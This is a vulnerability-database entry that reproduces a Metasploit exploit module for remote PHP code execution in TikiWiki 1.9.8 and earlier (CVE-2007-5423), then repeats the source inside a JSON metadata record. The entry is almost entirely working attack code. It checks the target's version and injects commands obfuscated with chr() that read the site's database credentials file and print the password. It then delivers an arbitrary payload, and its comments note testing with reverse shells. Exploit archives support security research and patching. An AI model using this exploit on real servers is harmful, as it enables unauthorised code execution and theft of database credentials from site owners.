ID SSV:71404 Type seebug Reporter Root Modified 2014-07-01T00:00:00
Description
No description provided by source.
##
# $Id: tikiwiki_graph_formula_exec.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'TikiWiki tiki-graph_formula Remote PHP Code Execution',
'Description' => %q{
TikiWiki (<= 1.9.8) contains a flaw that may allow a remote
attacker to execute arbitrary PHP code. The issue is due to
'tiki-graph_formula.php' script not properly sanitizing user
input supplied to create_function(), which may allow a remote
attacker to execute arbitrary PHP code resulting in a loss of
integrity.
},
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2007-5423'],
['OSVDB', '40478'],
['BID', '26006'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
# 6k. Really it's the max length of a URI minus the junk
# we have to put in the request to trigger the
# vulnerability. On Apache, 8190 is the max, so this
# should be a pretty safe value.
'Space' => 6144,
# Yes, 'x' is a badchar. The vulnerable code replaces it with '$x'.
'BadChars' => "`\"' %&x",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Oct 10 2007',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki"]),
], self.class)
end
def check
res = send_request_raw(
{
'uri' => datastore['URI'] + "/tiki-index.php",
'method' => 'GET',
'headers' =>
{
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Connection' => 'Close',
}
}, 5)
http_fingerprint({ :response => res }) # check method
if (res and res.code == 200 and res.body.match(/TikiWiki v?([0-9\.]*)/))
ver = $1
#print_status("Detected TikiWiki version #{ver}")
ver = ver.split('.')
return Exploit::CheckCode::Safe if (ver[0] != '1')
return Exploit::CheckCode::Safe if (ver[1] != '9')
if (ver.length > 2)
ver2 = ver[2].to_i
if (ver.length > 3)
ver3 = ver[3].to_i
else
ver3 = 0
end
return Exploit::CheckCode::Safe if (ver2 > 8)
return Exploit::CheckCode::Safe if (ver2 == 8 and ver3 > 0)
end
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Attempting to obtain database credentials...")
url_db_local = build_uri("passthru(" +
"chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)." + # echo YYY
"chr(59)." + # ;
# cat db/local.php
"chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +
"chr(59)." + # ;
"chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)" + # echo YYY
")")
res = send_request_raw({
'uri' => url_db_local,
'method' => 'GET',
'headers' =>
{
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Connection' => 'Close',
}
}, 5)
if (res and res.message == "OK" and res.body)
print_status("The server returned : #{res.code} #{res.message}")
print_status("Server version : #{res.headers['Server']}")
db_tiki = res.body.match(/db_tiki='(.*?)';/m)
if (db_tiki)
dbversion = res.body.match(/dbversion_tiki='(.*?)';/m)
host_tiki = res.body.match(/host_tiki='(.*?)';/m)
user_tiki = res.body.match(/user_tiki='(.*?)';/m)
pass_tiki = res.body.match(/pass_tiki='(.*?)';/m)
dbs_tiki = res.body.match(/dbs_tiki='(.*?)';/m)
print_status("TikiWiki database informations : \n")
print("db_tiki : " + db_tiki[1] + "\n")
print("dbversion : " + dbversion[1] + "\n")
print("host_tiki : " + host_tiki[1] + "\n")
print("user_tiki : " + user_tiki[1] + "\n")
print("pass_tiki : " + pass_tiki[1] + "\n")
print("dbs_tiki : " + dbs_tiki[1] + "\n\n")
end
else
print_status("No response from the server")
end
print_status("Attempting to execute our payload...")
command = Rex::Text.uri_encode(payload.encoded)
url_cmd = build_uri(payload.encoded)
res = send_request_raw({
'uri' => url_cmd,
'method' => 'GET',
'headers' =>
{
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Connection' => 'Close',
}
}, 5)
end
#
# This function will build a fairly randomish query string to be used
# when exploiting this vulnerability :)
#
def build_uri(f_val)
uri = ''
uri << datastore['URI']
uri << "/tiki-graph_formula.php?"
# Requirements:
query = ''
# 1. w,h,s,min,max must all be numeric
vars = %w{ w h s min max }
min = nil
vars.each { |el|
query << "&" if query.length > 0
num = 1+rand(999)
# 2. min must be less than max
case el
when 's'
num = 1+rand(500)
when 'min'
if (min)
num = min
else
min = num
end
when 'max'
min ||= num
num = min + 1 + rand(99)
end
query << "#{el}=#{num}"
}
# 3. cannot use `, ', ", or space
if (f_val.index('\'') or f_val.index('"') or f_val.index('`') or f_val.index(' '))
raise RuntimeError, "The value for the 'f' variable contains an invalid character!"
end
# 4. the function must be one of:
valid = %w{
abs acos acosh asin asinh atan2 atan atanh ceil cos cosh deg2rad
exp expm1 floor fmod hypot log10 log1p log max min pi pow rad2deg round sin
sinh sqrt tan tanh
}
func = valid[rand(valid.length)]
# 5. f must be an array
query << "&" if query.length > 0
# Strip off the semi-colon that the encoder insists on including.
if f_val[-1,1] == ";"
f_val = f_val[0,f_val.length-1]
end
query << "f[]=x.#{func}.#{f_val}"
# This doesn't seem to be necessary on PHP 5.2.4, tikiwiki 1.9.5
# Tested with php/reverse_php, php/meterpreter_reverse_tcp, and
# php/meterpreter/reverse_tcp
# -egypt
# If we dont kill php here it spins eating 100% cpu :-/
#query << '.die()'
# 6. two options for 't' - png and pdf
# - png requires php's gd extension
# - pdf, if you set 'p', requires php pdf extension
# -- we always use 'pdf' with a null 'p'
query << "&" if query.length > 0
query << 't=pdf'
# 7. title must be set
query << '&title='
uri << query
uri
end
end
{"title": "TikiWiki tiki-graph_formula Remote PHP Code Execution", "bulletinFamily": "exploit", "published": "2014-07-01T00:00:00", "lastseen": "2017-11-19T17:07:27", "modified": "2014-07-01T00:00:00", "reporter": "Root", "viewCount": 2, "sourceHref": "https://www.seebug.org/vuldb/ssvid-71404", "status": "cve,poc", "href": "https://www.seebug.org/vuldb/ssvid-71404", "description": "No description provided by source.", "type": "seebug", "enchantments_done": [], "references": [], "enchantments": {"score": {"value": 0.2, "vector": "NONE", "modified": "2017-11-19T17:07:27", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T17:07:27", "rev": 2}, "vulnersScore": 0.2}, "sourceData": "\n ##\r\n# $Id: tikiwiki_graph_formula_exec.rb 10394 2010-09-20 08:06:27Z jduck $\r\n##\r\n\r\n##\r\n# This file is part of the Metasploit Framework and may be subject to\r\n# redistribution and commercial restrictions. Please see the Metasploit\r\n# Framework web site for more information on licensing and terms of use.\r\n# http://metasploit.com/framework/\r\n##\r\n\r\nrequire 'msf/core'\r\n\r\nclass Metasploit3 < Msf::Exploit::Remote\r\n\tRank = ExcellentRanking\r\n\r\n\tinclude Msf::Exploit::Remote::HttpClient\r\n\r\n\tdef initialize(info = {})\r\n\t\tsuper(update_info(info,\r\n\t\t\t'Name' => 'TikiWiki tiki-graph_formula Remote PHP Code Execution',\r\n\t\t\t'Description' => %q{\r\n\t\t\t\t\tTikiWiki (<= 1.9.8) contains a flaw that may allow a remote\r\n\t\t\t\tattacker to execute arbitrary PHP code. The issue is due to\r\n\t\t\t\t'tiki-graph_formula.php' script not properly sanitizing user\r\n\t\t\t\tinput supplied to create_function(), which may allow a remote\r\n\t\t\t\tattacker to execute arbitrary PHP code resulting in a loss of\r\n\t\t\t\tintegrity.\r\n\t\t\t},\r\n\t\t\t'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'jduck' ],\r\n\t\t\t'License' => MSF_LICENSE,\r\n\t\t\t'Version' => '$Revision: 10394 $',\r\n\t\t\t'References' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t['CVE', '2007-5423'],\r\n\t\t\t\t\t['OSVDB', '40478'],\r\n\t\t\t\t\t['BID', '26006'],\r\n\t\t\t\t],\r\n\t\t\t'Privileged' => false,\r\n\t\t\t'Payload' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t'DisableNops' => true,\r\n\t\t\t\t\t# 6k. Really it's the max length of a URI minus the junk\r\n\t\t\t\t\t# we have to put in the request to trigger the\r\n\t\t\t\t\t# vulnerability. On Apache, 8190 is the max, so this\r\n\t\t\t\t\t# should be a pretty safe value.\r\n\t\t\t\t\t'Space' => 6144,\r\n\t\t\t\t\t# Yes, 'x' is a badchar. The vulnerable code replaces it with '$x'.\r\n\t\t\t\t\t'BadChars' => "`\\"' %&x",\r\n\t\t\t\t},\r\n\t\t\t'Platform' => 'php',\r\n\t\t\t'Arch' => ARCH_PHP,\r\n\t\t\t'Targets' => [[ 'Automatic', { }]],\r\n\t\t\t'DisclosureDate' => 'Oct 10 2007',\r\n\t\t\t'DefaultTarget' => 0))\r\n\r\n\t\tregister_options(\r\n\t\t\t[\r\n\t\t\t\tOptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki"]),\r\n\t\t\t], self.class)\r\n\tend\r\n\r\n\tdef check\r\n\t\tres = send_request_raw(\r\n\t\t\t{\r\n\t\t\t\t'uri' => datastore['URI'] + "/tiki-index.php",\r\n\t\t\t\t'method' => 'GET',\r\n\t\t\t\t'headers' =>\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',\r\n\t\t\t\t\t\t'Connection' => 'Close',\r\n\t\t\t\t\t}\r\n\t\t\t}, 5)\r\n\r\n\t\thttp_fingerprint({ :response => res }) # check method\r\n\r\n\t\tif (res and res.code == 200 and res.body.match(/TikiWiki v?([0-9\\.]*)/))\r\n\t\t\tver = $1\r\n\t\t\t#print_status("Detected TikiWiki version #{ver}")\r\n\t\t\tver = ver.split('.')\r\n\t\t\treturn Exploit::CheckCode::Safe if (ver[0] != '1')\r\n\t\t\treturn Exploit::CheckCode::Safe if (ver[1] != '9')\r\n\t\t\tif (ver.length > 2)\r\n\t\t\t\tver2 = ver[2].to_i\r\n\t\t\t\tif (ver.length > 3)\r\n\t\t\t\t\tver3 = ver[3].to_i\r\n\t\t\t\telse\r\n\t\t\t\t\tver3 = 0\r\n\t\t\t\tend\r\n\t\t\t\treturn Exploit::CheckCode::Safe if (ver2 > 8)\r\n\t\t\t\treturn Exploit::CheckCode::Safe if (ver2 == 8 and ver3 > 0)\r\n\t\t\tend\r\n\t\t\treturn Exploit::CheckCode::Vulnerable\r\n\t\tend\r\n\t\tExploit::CheckCode::Safe\r\n\tend\r\n\r\n\tdef exploit\r\n\r\n\t\tprint_status("Attempting to obtain database credentials...")\r\n\t\turl_db_local = build_uri("passthru(" +\r\n\t\t\t"chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)." + # echo YYY\r\n\t\t\t"chr(59)." + # ;\r\n\t\t\t# cat db/local.php\r\n\t\t\t"chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +\r\n\t\t\t"chr(59)." + # ;\r\n\t\t\t"chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)" + # echo YYY\r\n\t\t\t")")\r\n\t\tres = send_request_raw({\r\n\t\t\t'uri' => url_db_local,\r\n\t\t\t'method' => 'GET',\r\n\t\t\t'headers' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',\r\n\t\t\t\t\t'Connection' => 'Close',\r\n\t\t\t\t}\r\n\t\t\t}, 5)\r\n\t\tif (res and res.message == "OK" and res.body)\r\n\t\t\tprint_status("The server returned : #{res.code} #{res.message}")\r\n\t\t\tprint_status("Server version : #{res.headers['Server']}")\r\n\r\n\t\t\tdb_tiki = res.body.match(/db_tiki='(.*?)';/m)\r\n\t\t\tif (db_tiki)\r\n\t\t\t\tdbversion = res.body.match(/dbversion_tiki='(.*?)';/m)\r\n\t\t\t\thost_tiki = res.body.match(/host_tiki='(.*?)';/m)\r\n\t\t\t\tuser_tiki = res.body.match(/user_tiki='(.*?)';/m)\r\n\t\t\t\tpass_tiki = res.body.match(/pass_tiki='(.*?)';/m)\r\n\t\t\t\tdbs_tiki = res.body.match(/dbs_tiki='(.*?)';/m)\r\n\r\n\t\t\t\tprint_status("TikiWiki database informations : \\n")\r\n\r\n\t\t\t\tprint("db_tiki : " + db_tiki[1] + "\\n")\r\n\t\t\t\tprint("dbversion : " + dbversion[1] + "\\n")\r\n\t\t\t\tprint("host_tiki : " + host_tiki[1] + "\\n")\r\n\t\t\t\tprint("user_tiki : " + user_tiki[1] + "\\n")\r\n\t\t\t\tprint("pass_tiki : " + pass_tiki[1] + "\\n")\r\n\t\t\t\tprint("dbs_tiki : " + dbs_tiki[1] + "\\n\\n")\r\n\t\t\tend\r\n\t\telse\r\n\t\t\tprint_status("No response from the server")\r\n\t\tend\r\n\r\n\r\n\t\tprint_status("Attempting to execute our payload...")\r\n\t\tcommand = Rex::Text.uri_encode(payload.encoded)\r\n\t\turl_cmd = build_uri(payload.encoded)\r\n\t\tres = send_request_raw({\r\n\t\t\t'uri' => url_cmd,\r\n\t\t\t'method' => 'GET',\r\n\t\t\t'headers' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',\r\n\t\t\t\t\t'Connection' => 'Close',\r\n\t\t\t\t}\r\n\t\t\t}, 5)\r\n\tend\r\n\r\n\t#\r\n\t# This function will build a fairly randomish query string to be used\r\n\t# when exploiting this vulnerability :)\r\n\t#\r\n\tdef build_uri(f_val)\r\n\t\turi = ''\r\n\t\turi << datastore['URI']\r\n\t\turi << "/tiki-graph_formula.php?"\r\n\r\n\t\t# Requirements:\r\n\t\tquery = ''\r\n\r\n\t\t# 1. w,h,s,min,max must all be numeric\r\n\t\tvars = %w{ w h s min max }\r\n\t\tmin = nil\r\n\t\tvars.each { |el|\r\n\t\t\tquery << "&" if query.length > 0\r\n\t\t\tnum = 1+rand(999)\r\n\t\t\t# 2. min must be less than max\r\n\t\t\tcase el\r\n\t\t\twhen 's'\r\n\t\t\t\tnum = 1+rand(500)\r\n\t\t\twhen 'min'\r\n\t\t\t\tif (min)\r\n\t\t\t\t\tnum = min\r\n\t\t\t\telse\r\n\t\t\t\t\tmin = num\r\n\t\t\t\tend\r\n\t\t\twhen 'max'\r\n\t\t\t\tmin ||= num\r\n\t\t\t\tnum = min + 1 + rand(99)\r\n\t\t\tend\r\n\t\t\tquery << "#{el}=#{num}"\r\n\t\t}\r\n\r\n\t\t# 3. cannot use `, ', ", or space\r\n\t\tif (f_val.index('\\'') or f_val.index('"') or f_val.index('`') or f_val.index(' '))\r\n\t\t\traise RuntimeError, "The value for the 'f' variable contains an invalid character!"\r\n\t\tend\r\n\r\n\t\t# 4. the function must be one of:\r\n\t\tvalid = %w{\r\n\t\t\tabs acos acosh asin asinh atan2 atan atanh ceil cos cosh deg2rad\r\n\t\t\texp expm1 floor fmod hypot log10 log1p log max min pi pow rad2deg round sin\r\n\t\t\tsinh sqrt tan tanh\r\n\t\t}\r\n\t\tfunc = valid[rand(valid.length)]\r\n\r\n\t\t# 5. f must be an array\r\n\t\tquery << "&" if query.length > 0\r\n\r\n\t\t# Strip off the semi-colon that the encoder insists on including.\r\n\t\tif f_val[-1,1] == ";"\r\n\t\t\tf_val = f_val[0,f_val.length-1]\r\n\t\tend\r\n\t\tquery << "f[]=x.#{func}.#{f_val}"\r\n\r\n\t\t# This doesn't seem to be necessary on PHP 5.2.4, tikiwiki 1.9.5\r\n\t\t# Tested with php/reverse_php, php/meterpreter_reverse_tcp, and\r\n\t\t# php/meterpreter/reverse_tcp\r\n\t\t# -egypt\r\n\t\t# If we dont kill php here it spins eating 100% cpu :-/\r\n\t\t#query << '.die()'\r\n\r\n\t\t# 6. two options for 't' - png and pdf\r\n\t\t# - png requires php's gd extension\r\n\t\t# - pdf, if you set 'p', requires php pdf extension\r\n\t\t# -- we always use 'pdf' with a null 'p'\r\n\t\tquery << "&" if query.length > 0\r\n\t\tquery << 't=pdf'\r\n\r\n\t\t# 7. title must be set\r\n\t\tquery << '&title='\r\n\r\n\t\turi << query\r\n\t\turi\r\n\tend\r\n\r\nend\r\n\n ", "cvss": {"vector": "NONE", "score": 0.0}, "cvelist": [], "id": "SSV:71404", "immutableFields": []}